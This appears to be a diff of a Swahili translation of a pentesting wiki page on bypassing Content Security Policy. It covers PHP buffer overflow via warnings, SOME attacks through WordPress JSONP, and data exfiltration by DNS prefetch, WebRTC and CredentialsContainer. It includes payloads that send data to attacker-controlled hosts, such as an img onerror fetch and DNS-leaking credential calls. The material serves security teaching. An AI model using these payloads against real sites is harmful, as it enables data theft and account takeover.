Basi, mbinu inajumuisha kimsingi **kujaza buffer ya majibu na onyo** ili header ya CSP isitumwe.
PHP inajulikana kwa **kufanya buffering ya majibu hadi 4096** bytes kwa default. Hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatatumwa **kabla** ya **CSP header**, na kusababisha header ipuuzwe.\
Basi, mbinu inajumuisha kimsingi **kujaza buffer ya majibu na maonyo** ili header ya CSP isitumwe.
Wazo kutoka [**hiki andiko**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha ku-refresh ukurasa wa mshambuliaji hadi kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha ukurasa** ili **kutumia** **viungo vingine vya asili moja.** Hii inafanywa kwa kupakia kiungo kilichoharibika kutoka kwenye ukurasa wa mshambuliaji na kisha kuhuisha ukurasa wa mshambuliaji kwa kiungo halisi katika asili moja unayotaka kutumia. Kwa njia hii, **kiungo kilichoharibika** kinaweza kutumia **`opener`** kitu katika **payload** ili **kufikia DOM** ya **kiungo halisi cha kutumia**. Kwa maelezo zaidi angalia:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -627,7 +627,7 @@ SOME ni mbinu inayotumia XSS (au XSS iliyo na mipaka sana) **katika kiungo cha u
Zaidi ya hayo, **wordpress** ina **JSONP** kiungo katika `/wp-json/wp/v2/users/1?_jsonp=data` ambacho kita **reflekti** **data** iliyotumwa katika matokeo (ikiwa na mipaka ya herufi, nambari na nukta pekee).
Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo kilichoharibika** **callback** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Mshambuliaji anaweza kutumia kiungo hicho ili **kuunda shambulio la SOME** dhidi ya WordPress na **kuingiza** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kwamba **script** hii itakuwa **imepakiwa** kwa sababu inaruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imewekwa, mshambuliaji anaweza kutumia **shambulio la SOME** kupitia **kiungo cha callback kilichoharibika** ambacho **kinapita CSP** ili kutoa ruhusa zaidi kwa mtumiaji, kusakinisha plugin mpya...\
Kwa maelezo zaidi kuhusu jinsi ya kutekeleza shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -649,7 +649,7 @@ Unaweza kuelekeza kwa kuingiza meta tag (hii ni kuelekeza tu, hii haitavuja maud
```
### DNS Prefetch
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuziweka kwenye cache kwa matumizi ya baadaye.\
Ili kupakia kurasa kwa haraka, vivinjari vitakuwa vinatatua majina ya mwenyeji kuwa anwani za IP na kuyahifadhi kwa matumizi ya baadaye.\
Unaweza kuonyesha kivinjari kutatua jina la mwenyeji mapema kwa: `<link rel="dns-prefetch" href="something.com">`
Unaweza kutumia tabia hii vibaya ili **kuondoa taarifa nyeti kupitia maombi ya DNS**:
@ -688,7 +688,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Nyingine chaguo:
Chaguo lingine:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Popup ya akreditivu inatuma ombi la DNS kwa iconURL bila kuzuiliwa na ukurasa. Inafanya kazi tu katika muktadha salama (HTTPS) au kwenye localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Kuangalia Sera za CSP Mtandaoni
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)